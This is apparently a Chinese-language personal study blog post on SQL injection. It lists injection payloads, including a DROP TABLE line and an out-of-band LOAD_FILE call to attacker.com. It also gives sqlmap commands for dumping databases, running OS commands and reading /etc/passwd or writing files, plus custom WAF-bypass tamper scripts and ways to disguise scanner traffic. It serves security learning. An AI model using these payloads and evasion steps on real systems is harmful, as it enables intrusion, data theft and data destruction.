sql注入
SQL注入是攻击者在网站中,与数据库产生交互的地方,截断,拼接,构造恶意的sql语句,使得原本的sql语句产生歧义,从而达到SQL注入用户提交的参数被当作数据库查询语句执行从而获取到数据库权限。
SQL注入分类
- 金典注入,(常规手法,使得语句闭合并且注释掉后面的语句执行插入的语句
- 报错注入,一般来说是无有效回显,但是会返回错误,当sql语句执行失败时有时候会返回数据库表明或者库名一类,例如
EXTRACTVALUE
报错数据库名,admin' AND (SELECT 1 FROM (SELECT EXTRACTVALUE(1, CONCAT(0x5c, (SELECT DATABASE())))) y) AND '1'='1
- 布尔盲注,一般用于数据包无其他回显,只有成功与失败这一表现时使用,攻击者通过构造SQL语句,根据页面返回的不同结果(如页面显示正常或显示错误)来判断SQL语句的执行情况。一般使用逻辑表达式提交根据的返回正确与否来判断
- 时间盲注,无回显时,使用sleep执行与否来判断语句是否执行成功与判断是否正确
SELECT * FROM users WHERE id = 1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0);
如果页面返回时间明显延迟(如5秒),说明条件成立,攻击者可以逐步推断出用户名的第一个字符。 - 堆叠注入,条件是如果应用程序允许在一条SQL语句中执行多条语句(例如某些数据库支持分号分隔多条语句),攻击者可以通过插入额外的SQL语句来执行恶意操作。
SELECT * FROM users WHERE id = 1; DROP TABLE users;
- 外带注入,例如使用dnslog等中间件来帮助完成注入
SELECT * FROM users WHERE id = 1 AND LOAD_FILE('http://attacker.com/data');
- 宽字节注入,用于绕过特殊字符转义。
SQL注入工具
sqlmap
老生常谈的东西了。
SQLMAP使用方法
常规操作:
-u指定url,
-r指定数据包.txt,可以在json注入时在注入的地方加上*来表示注入的点
-p指定注入参数
--cookie,附带cookie参数
数据库操作:
获取所有数据库
sqlmap -u "http://example.com/?id=1" --dbs
获取当前数据库
sqlmap -u "http://example.com/?id=1" --current-db
获取指定数据库的表
sqlmap -u "http://example.com/?id=1" -D "database_name" --tables
获取表的字段
sqlmap -u "http://example.com/?id=1" -D "database_name" -T "table_name" --columns
获取字段数据
sqlmap -u "http://example.com/?id=1" -D "database_name" -T "table_name" -C "column_name" --dump
指定level
检测强度sqlmap -u "http://example.com/?id=1" --level 5
指定risk
检测范围sqlmap -u "http://example.com/?id=1" --risk 3
高级用法
绕过 WAF 使用
--tamper
参数加载绕过脚本,例如:sqlmap -u "http://example.com/?id=1" --tamper "base64encode.py"
这会将注入的 payload 进行 Base64 编码,以绕过某些 WAF。
使用代理 如果需要通过代理访问目标,可以使用
--proxy
参数:(配合本地搭建ip代理池)sqlmap -u "http://example.com/?id=1" --proxy "http://127.0.0.1:8080"
指定数据库类型 如果已知目标数据库类型,可以使用
--dbms
参数指定:sqlmap -u "http://example.com/?id=1" --dbms "MySQL"
执行系统命令 如果目标存在 SQL 注入漏洞且开启了相关权限,可以尝试执行系统命令:
sqlmap -u "http://example.com/?id=1" --os-cmd "whoami"
读取和写入文件(一般来说用于getshell)
读取目标服务器上的文件:
sqlmap -u "http://example.com/?id=1" --file-read "/etc/passwd"
将本地文件上传到目标服务器:
sqlmap -u "http://example.com/?id=1" --file-write "local.txt" --file-dest "/var/www/html/remote.txt"
- --os-shell,知道文件路径,允许文件写入,传的吗可以被解析
- 指定注入手法
sqlmap -u "http://example.com/?id=1" --technique=T [其他参数]
参数 | 作用 |
---|---|
B | Boolean-based blind(基于布尔值的盲注) |
E | Error-based(基于错误的注入) |
U | Union query-based(基于联合查询的注入) |
S | Stacked queries(堆查询注入) |
T | Time-based blind(基于时间的盲注) |
Q | Inline queries(嵌套查询注入) |
WAF绕过脚本
使用 --tamper
参数加载绕过脚本
sqlmap内置有一些脚本可供来测试
apostrophemask.py
:用 UTF-8 字符代替单引号。
base64encode.py
:将注入的 SQL 语句进行 Base64 编码。
multiplespaces.py
:在 SQL 关键字周围添加多个空格
space2plus.py
:用 +
替换空格。
space2randomblank.py
:用随机空白字符替换空格。
unionalltounion.py
:将 UNION ALL SELECT
替换为 UNION SELECT
。
securesphere.py
:追加特制的字符串以绕过 SecureSphere。
equaltolike.py
:用 LIKE
替换等号。
space2mssqlblank.py
:在 SQL Server 中用其他空白字符替换空格。
between.py
:用 BETWEEN
替换大于号。
percentage.py
:在 ASP 环境中,每个字符前添加 %
。
charencode.py
:对 SQL 语句进行 URL 编码。
randomcase.py
:随机改变大小写。
charunicodeencode.py
:对字符串进行 Unicode 编码。
space2comment.py
:用注释 /**/
替换空格。
使用这些脚本还只是脚本小资的入门,毕竟有些规则还是要我们自己添加的,那么我们该如何来写这些脚本呢?
SQLMap 的 tamper
目录下创建一个新的 Python 脚本文件。例如,创建一个名为 custom_tamper.py
的文件
脚本填写也非常简单:
def tamper(payload, **kwargs):
"""
Replaces instances of 'SELECT' with 'SEL/**/ECT' to bypass simple keyword filters.
Example:
Input: SELECT id FROM users
Output: SEL/**/ECT id FROM users
"""
# 替换关键字 'SELECT' 为 'SEL/**/ECT'
return payload.replace("SELECT", "SEL/**/ECT") if payload else payload
直接用tamper把payload导过来即可
这里需要python字符串操作熟练点(,我不是很熟练,不过有笔记看着笔记写起来就还是非常可以的,一般如果以后工作了我估计也是用的ai来辅助?(
如果你的脚本依赖于其他 Python 模块,可以在脚本中定义 dependencies
列表。例如:
dependencies = ["random"]
# 定义依赖的外部模块
dependencies = ["random", "re"]
import random
import re
def tamper(payload, **kwargs):
"""
Replaces instances of 'SELECT' with 'SEL/**/ECT' to bypass simple keyword filters.
Example:
Input: SELECT id FROM users
Output: SEL/**/ECT id FROM users
"""
# 替换关键字 'SELECT' 为 'SEL/**/ECT'
if payload:
payload = re.sub(r"\bSELECT\b", "SEL/**/ECT", payload, flags=re.IGNORECASE)
return payload
sqlmap伪装流量
SQLMAP有流量特征并且有sqlmap字样还会被检测到,所以这里提供一些方法来规避检测,这个是我在别人的poc里面偶然看到的,觉得这个思路非常不错,当初还想不明白为什么要再加一层现在发现是哼好的解决方法,你可以自定义许多参数,都是可控的。
- 修改ua头
默认情况下,SQLMap 使用的 User-Agent 是类似 sqlmap/1.0-dev-xxxxxxxxxxxxxxxxxxx (http://sqlmap.org)
的格式。这很容易被目标服务器识别。可以通过以下两种方式修改 User-Agent:
自定义 User-Agent
使用 -A
参数指定自定义的 User-Agent:
sqlmap -u "http://example.com/?id=1" -A "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
这样可以将 User-Agent 修改为你指定的值。
使用随机 User-Agent
使用 --random-agent
参数,SQLMap 会从其内置的 User-Agent 列表中随机选择一个 User-Agent:
sqlmap -u "http://example.com/?id=1" --random-agent
这种方式可以增加伪装的随机性。
- 使用代理
如果目标服务器对某些 IP 地址有限制,或者你希望隐藏自己的真实 IP,可以使用代理。SQLMap 支持通过 --proxy
参数指定代理服务器:
bash复制
sqlmap -u "http://example.com/?id=1" --proxy "http://127.0.0.1:8080"
这可以将请求通过指定的代理服务器发送。
- 修改请求头
除了 User-Agent,还可以通过 --headers
参数添加或修改其他 HTTP 请求头。例如,添加一个自定义的请求头:
bash复制
sqlmap -u "http://example.com/?id=1" --headers "X-Custom-Header: value"
这可以帮助绕过一些基于请求头的检测。
- 使用 Referer
某些网站会检查 Referer 字段来判断请求是否合法。可以通过 --referer
参数指定 Referer:
sqlmap -u "http://example.com/?id=1" --referer "http://example.com/"
这可以伪装请求来源。
- 本地搭建服务器转发流量
1.使用 Python 搭建本地服务器
以下是一个简单的 Python 示例,使用 http.server
模块搭建一个代理服务器。这个服务器会拦截请求,修改请求内容,然后转发到目标服务器。
Python复制
import http.server
import requests
import urllib.parse
class ProxyHandler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
# 目标服务器的 URL
target_url = "http://example.com"
# 获取客户端请求的路径和参数
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
# 拼接闭合 payload
payload = "1' AND 1=1 -- " # 示例闭合 payload
query_params["id"] = payload # 假设注入点是 id 参数
# 构造新的请求 URL
new_query_string = urllib.parse.urlencode(query_params, doseq=True)
new_path = f"{parsed_path.path}?{new_query_string}"
full_target_url = f"{target_url}{new_path}"
# 向目标服务器发送请求
response = requests.get(full_target_url)
# 将目标服务器的响应返回给客户端
self.send_response(response.status_code)
self.send_header("Content-type", response.headers["Content-type"])
self.end_headers()
self.wfile.write(response.content)
if __name__ == "__main__":
PORT = 8000
httpd = http.server.HTTPServer(("", PORT), ProxyHandler)
print(f"Serving at http://localhost:{PORT}")
httpd.serve_forever()
2. 配置 SQLMap 使用本地服务器
在本地服务器运行后,SQLMap 可以通过本地服务器的端口发送请求。假设本地服务器运行在 http://localhost:8000
,你可以这样配置 SQLMap:
bash复制
sqlmap -u "http://localhost:8000/?id=1" --level 5 --risk 3
-u
:指定目标 URL,这里指向本地服务器。--level
和--risk
:这两个参数用于调整 SQLMap 的检测强度。--level
的范围是 1-5,--risk
的范围是 1-3,较高的值会检测更多的注入点,但可能会增加误报率。
关于二次注入
了解的不多也不太会操作,不过问ai的先学着吧
二次注入是一种特殊的 SQL 注入攻击方式,攻击者首先将恶意数据存储到数据库中,然后在后续的查询中利用这些数据引发 SQL 注入漏洞。
二次注入可以理解为攻击者构造的恶意数据存储在数据库后,这些数据在后续被读取并进入 SQL 查询语句时引发的注入。二次注入需要满足以下两个条件:
- 插入恶意数据:用户向数据库插入恶意语句,即使后端代码对语句进行了转义处理,但在写入数据库时保留了原始数据。
- 引用恶意数据:开发者默认存入数据库的数据是安全的,在进行查询时直接从数据库中取出恶意数据,没有进行进一步的检验处理。
这种二次注入我觉得一般是用户的数据,再修改或注册时加了sql语句,一般来说会形成闭合,然后当再去数据库读取的时候出发语句,直接回显,目前没有碰到过,不过我在edusrc的挖掘过程中在一些站点看到过类似的痕迹,之前一直当时脚本无意间跑出来的,现在仔细想想还是有漏洞在里面的,有时候甚至于评论区都会存在一些这个二次注入。可以注意下。
评论0
暂时没有评论